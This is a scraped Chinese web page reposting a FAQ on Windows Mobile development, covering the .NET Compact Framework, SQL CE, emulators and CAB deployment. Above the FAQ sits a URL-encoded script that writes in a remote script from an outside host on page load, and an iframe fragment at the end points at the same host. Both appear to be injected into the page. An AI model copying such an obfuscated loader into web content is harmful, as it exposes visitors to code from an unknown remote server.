HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
Windows Mobile 开发常见问题集(一)(转载)
http://www.winbile.net/BBS/1000076/ShowPost.aspx
1、Q
:新建项目的时候选择哪个项目类型才能创建智能设备的应用程序?
A
:在
Visual Studio
的新建项目对话框中选择
Visual C#
或者
Visual Basic
项目类型,选择智能设备模板,然后再选择相应的设备
SDK
,最后选择“
Device Application
”,就可以创建一个移动设备的应用程序了。
2、Q
:托管代码与本地代码有哪些区别?
A
:托管代码是指使用
.NET Compact Framework
开发的程序代码,可执行文件被编译成
IL
,执行时需要有
.NET
的运行时环境。而本地代码指用
C++
等语言开发的程序代码,可执行文件被编译成与
CPU
指令集有关的机器码,可以直接运行。
3、Q
:能不能简要介绍一下
Magneto
里面对
OTA
和
MMS
的支持?
A
:
Magneto
对
OTA
有很好的支持,
SDK
文档的通讯部分中,有针对
OTA
的专门介绍。
MMS
的应用程序基本都是由第三方开发的,因为
MMS
是基于
WAP
协议的,而
Magneto
本身对
WAP
的支持也很好,具体的协议也可以在
SDK
文档里找到。
4、Q
:请问用
Visual Basic .NET
开发
PDA
数据库程序能不能使用
ADO.NET
?
A
:
Visual Basic .NET
开发
PDA
数据库不需要引用
System.data.oledb
,只需要引用
System.Data.SqlServerCe
命名空间就可以了。该命名空间中的数据库操作类和
ADO.NET
是基本一致的。可以用它们来开发针对
SQL Server CE
的应用程序。
5、Q
:在
Visual C++2005
中,可以使用
.Net Compact Framework
吗?
A
:不能,现在
.NET Compact Framework
只支持
C#
和
VB.NET
,而不支持
C++/CLI
。但是在
VS.NET 2005
中可以用
C++
来开发
Native
代码来支持移动设备。
6、Q
:从什么地方可以得到
Smartphone
开发环境?
A
:
Smartphone
的
SDK
可以在微软网站上找到,而
Visual Studio 2005 Beta 2
可以通过参加微软活动的方式获得。
MEDC 2005
的参加者都获得了
VS.NET 2005
和
Windows Mobile 5 SDK
的开发光盘。
7、Q
:托管性的代码执行效率怎么样?和使用
Visual C++
编写的代码相比较。
A
:托管代码的执行效率肯定不如本地代码高,但是托管代码也有一些好处是无法取代的。
8、Q
:是否可以使用
Visual Studio .NET 2003
来开发能够运行在
Windows Mobile 2005
上的应用程序?
A
:首先更正一下,
Windows Mobile
最新一代的操作系统叫做
Windows Mobile 5
,而不是
Windows Mobile 2005
。是的,使用
VS.NET 2003
开发的应用程序是可以在
Windows Mobile 5
上正常运行的,因为
Windows Mobile 5 ROM
中内置了
.NET Compact Framewrok 1.0 SP3
。
9、Q
:
PDA
上不能用
Pocket Access
么?
SQL CE
太大了。
A
:可以使用
Pocket Access
来开发
Windows Mobile
上的应用程序。可以采用
C++
调用
OLEDB
或者
ADOCE
的方式来访问
Pocket Access
数据库。
10、Q
:
Visual Studio 2005
的新功能是否只在
Windows Mobile 5
里受到支持,
2003
是否支持?
A
:新功能分两个部分,一部分是
.NET Compact Framework 2.0
中提供的的新功能,这部分的功能可以被
Windows Mobile 2003
支持,但必须安装
.NET Compact Framework 2.0
;而另一部分是
Windows Mobile 5
的特有功能。
.NET Compact Framework 2.0
和
Windows Mobile 5
开发文档的“
What
’
s New
”部分,分别描述了这两方面的新特性。
11、Q
:请问如何在模拟器里面配置连接到移动网络?
A
:模拟器如果需要连接移动网络的话,必须有专门的硬件提供支持。可以在开发
PC
的串口上连一个
GPRS
的模拟器,
SDK
文档中对此有专门的说明。
12、Q
:
SQL CE
可以像
Pocket Access
那样仅使用一个文件就能运行么?是否需要像
PC
上那样安个服务器才能使用?
A
:不会的,只需要在
Windows Mobile
上安装
SQL Server CE
的支持库,也就是就是一些
DLL
文件。而
SQL Server CE
的库文件是一个单独的文件,不需要安装一个服务器。
13、Q
:开发好的程序通过什么方式部署到手机上?对手机有什么要求?
A
:开发的程序需要打包成
cab
文件部署到手机上。除了通过
ActiveSync
安装外,还可以通过网络下载、存储卡运行等方式来安装应用程序。对手机的要求是,必须和开发程序的目标平台相兼容。比如为
Windows Mobile 5
开发的应用程序,可能就没办法很好地运行在
Windows Mobile2003
平台上。
14、Q
:在模拟器上面开发程序,和真实环境有区别么?需要注意一些什么?
A
:模拟器的仿真度十分高,
Windows Mobile 5
的模拟器甚至可以支持
ARM
指令,所以基本不会遇到兼容性的问题。但是对于一些需要连接外部设备的应用场景,比如前边说的无线网络,还有
GPS
设备等,就需要用到实际设备了。
15、Q
:当开发国际化应用程序时,应该特别注意哪些方面?
A
:对于国际化的应用程序,
.NET
本身就已经提供了非常好的支持。可以把用户界面的文字保存在相应的资源文件中,然后由应用程序判断操作系统的语言版本来调用相应的文字。
16、Q
:用
.NET
开发
Pocket PC
程序需要考虑设备具体使用的是哪种
CPU
吗?
A
:不必。无论是在虚拟机上的
x86
指令集,还是实际设备上的
ARM
指令集,对
.NET Compact Framework
程序的运行来说都一样。
17、Q
:
Windows Mobile 5
是否支持通过语音控制新的开发程序?
A
:现在还不支持。
18、Q
:可以在
vwd2005 bata2
中开发
Pocket PC
程序吗?
Pocket PC
是否具有浏览器?
A
:可以,
Pocket PC
平台是内置浏览器的。
19、Q
:
Visual Studio 2005
的
Mobile
开发,支持
Mobile 2003
的设备吗?
A
:支持,
VS 2005
本身就自带
Windows Mobile 2003
的
SDK
。
20、Q
:
Windows Mobile 5.0 for Smartphone
较之前的版本有何明显的区别?对于测试这一领域,我们需要注意些什么?
A
:
Windows Mobile 5
的
Smartphone
平台更多的变化是在
API
层面,比如对数据库的支持、对
GPS API
的支持等,
Windows Mobile 5 SDK
文档中对此有详细地说明。
21、Q
:对开发来说
CDMA
和
GPRS
的数据传输是透明的吗?
A
:对于软件开发来说数据传输是透明的,
CDMA
和
GPRS
对于上层应用程序来说,只要支持
HTTP
协议或者
TCP/IP
协议就可以进行数据传输的操作。
22、Q
:
Visual Studio .NET
能否支持
Nokia
的
S60
系列系统开发?
A
:可以,
Visual C++
能支持
Nokia S60
的开发。
23、Q
:
Pocket PC
与
Mobile
开发的主要区别在哪里?
A
:
Window Mobile
是微软公司基于
Windows CE.NET
的一个平台。它包含
Pocket PC
和
Smartphone
两个版本。
24、Q
:
SDE
从哪里可以下载?
Pocket PC 2005
的模拟器可以从哪里下载?
A
:
SDE
是早期用来开发移动设备程序的
VS
扩展,目前网上似乎很难找到。其实不用安装它,安装所需版本的
Pocket PC
或者
Smartphone
的
SDK
即可。各个版本的
Windows Mobile
开发的
SDK
和模拟器的地址可以从这篇
Blog
上下载(
http
:
//twodays.cnblogs.com/archive/2005/06/30/184107.htm
)。
25、Q
:
.NET Compact Framework 2.0
能装在
Windows Mobile 2003
上吗
?
A
:可以。
.NET Compact Framework 2.0
必须手动安裝到
Windows Mobile 2003
的机器上。
26、Q
:请问有没有好的
Windows Mobile
编程的网站或者论坛?
A
:
OpenNETCF.org
、
www.devbuzz.com
、
www.codeproject.com
、
www.msdn.com/mobility/
、
www.pocketpcdn.com
27、Q
:
Windows Mobile 2003
上的
.NET Compact Framework
能升级到
.NET Compact Framework 2.0
吗?
A
:可以。
.NET Compact Framework 2.0
必须手动安裝到
Windows Mobile 2003
的机器上。
28、Q
:请问编写
WML
文件与使用
.NET Compact Framework
进行开发有什么联系和区别?
A
:
WML
是能够利用
WAP
浏览器进行浏览的文件,是一种基于
Web
的开发方式。
.NET Compact Framework
是在设备上运行的程序,是基于应用的开发方式。
29、Q
:在使用
.NET Compact Framework 1.0
进行开发时,用
EVC
直接调用
Native
代码与使用
C#
通过
P/Invoke
在性能上有什么差别?在
.NET Compact Framework 2.0
上,用
C++
直接调用和用
C#
通过
P/Invoke
又如何呢?
A
:用
EVC
調用
Native API
的效率,会比使用
.NET Compact Framework
通过
P/Invoke
调用
Native API
要高,这是
.NET Compact Framework
本身的特性。在从托管代码中调用
Native API
时,其内部会进行一些额外的类型转换动作,这会导致效率的降低。
30、Q
:有没有支持显示
HTML
文本的控件?
A
:
WebBrowser
控件可以用于
HTML
文本。
31、Q
:
CAB
安装后会在
Pocket PC
上自动生成“卸载程序”,如何制作安装包,才能不自动产生“卸载程序”?
A
:利用
VS 2005
建立
Smart Device Cab Project
,在
Solution Explorer
的
Cab Project
上点击鼠标右键选择
Property
,即可看到有一个选项为
NoUninstall
,默认为
False
,改为
True
就可以了。
32、Q
:
OpenNETCF
能运行在
.NET Framework 1.1
环境下吗?其中的控件可以与
.NET Framework 1.1
控件混合使用吗?怎样在
Visual Studio .NET 2003
中加入
OpenNETCF
控件?
A
:当初在设计
NET Compact Framework 1.0/1.1
时,由于考虑到移动设备的资源有限,所以有些原本
.NET Framework 1.1
中已经提供的类和控件就被删除了,
OpenNETCF Smart Device Framework
主要是针对
.NET Compact Framework 1.0/1.1
中没有的功能,开发出来的类似的类型和额外的功能,以弥补
.NET Compact Framework 1.0/1.1
不足之处。这套
Framework
主要是供
.NET Compact Framework
程序开发所用,除了少部份针对
PC
与
Pocket PC
的同步功能所编写的类之外,大部分都是在
.NET Compact Framework
上执行的,一般不支持
.NET Framework
。
OpenNETCF
的
Smart Device Framework
安装完毕之后,可以在
VS 2003
左侧的工具箱中看到
OpenNETCF
的控件,可以直接拖放来使用。
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">